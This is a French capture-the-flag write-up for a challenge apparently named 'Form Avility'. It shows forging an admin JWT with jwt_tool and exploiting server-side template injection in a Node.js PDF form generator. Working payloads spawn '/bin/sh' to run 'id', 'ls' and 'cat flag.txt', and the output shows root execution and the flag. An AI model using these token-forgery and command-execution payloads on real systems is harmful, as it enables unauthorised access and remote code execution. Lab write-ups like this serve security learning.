Form Avility

On a une page avec un formulaire de sondage, mais qui n’a pas l’air très utile.

Et un formulaire de connexion et d’inscription.

En s’inscrivant on reçoit un JWT, on tente de crack le mot de passe mais non.

On va donc s’intéressé aux exploits connus grâce à jwt_tool.

On obtient le bon cookie avec cette commande, et en modifiant le role par « admin » :

python3 jwt_tool.py -X b -T "eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJhdXRoIjoxNzUwNTM0NDkwNjQ1LCJhZ2VudCI6ImFkbWluIiwicm9sZSI6InVzZXIiLCJpYXQiOjE3NTA1MzQ0OTF9.DNFgKveOoPA08splrsZ37W0L7bqoi9XWBsBAsA6-Qh0"
eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJhdXRoIjoxNzUwNTM0NDkwNjQ1LCJhZ2VudCI6ImFkbWluIiwicm9sZSI6ImFkbWluIiwiaWF0IjoxNzUwNTM0NDkxfQ.0MJw_Emrt735FHd6sq4-TDt3ZQoLUbOFIvlQhBCjC1o

On a donc maintenant accès à un nouveau formulaire sur /name_form

Ce formulaire génère un fichier pdf avec le contenu envoyé.

On a surement une XSS Server side : https://medium.com/r3d-buck3t/xss-to-exfiltrate-data-from-pdfs-f5bbb35eaba7

Cependant cela ne fonctionne pas.

On va tester la SSTI avec le fameux :

{{7*7}}

On obtient alors 49 dans le nom !

Il ne reste plus qu’a trouver le bon payload.

{{'a'.toUpperCase()}}
==> A
{{ (function(){return 1337})() }}
==> 1337
{{ this.constructor.constructor('return process')().env }}
==> [object Object]
{{x=Object}}{{w=a=new x}}{{w.type="pipe"}}{{w.readable=1}}{{w.writable=1}}{{a.file="/bin/sh"}}{{a.args=["/bin/sh","-c","id;ls"]}}{{a.stdio=[w,w]}}{{process.binding("spawn_sync").spawn(a).output}}
==> uid=0(root) gid=0(root) groups=0(root)
==> Dockerfile
==> docker-compose.yml
==> flag.txt
==> lib
==> node_modules
==> package-lock.json
==> package.json
==> server.js
==> views

On peut voir qu’il y a un fichier flag, il nous suffit de modifier le payload obtenu ici : https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Server%20Side%20Template%20Injection/JavaScript.md

{{x=Object}}{{w=a=new x}}{{w.type="pipe"}}{{w.readable=1}}{{w.writable=1}}{{a.file="/bin/sh"}}{{a.args=["/bin/sh","-c","cat flag.txt"]}}{{a.stdio=[w,w]}}{{process.binding("spawn_sync").spawn(a).output}}
SHLK{JwT_bYpaS5_2_RCe}

On a donc notre flag : SHLK{JwT_bYpaS5_2_RCe}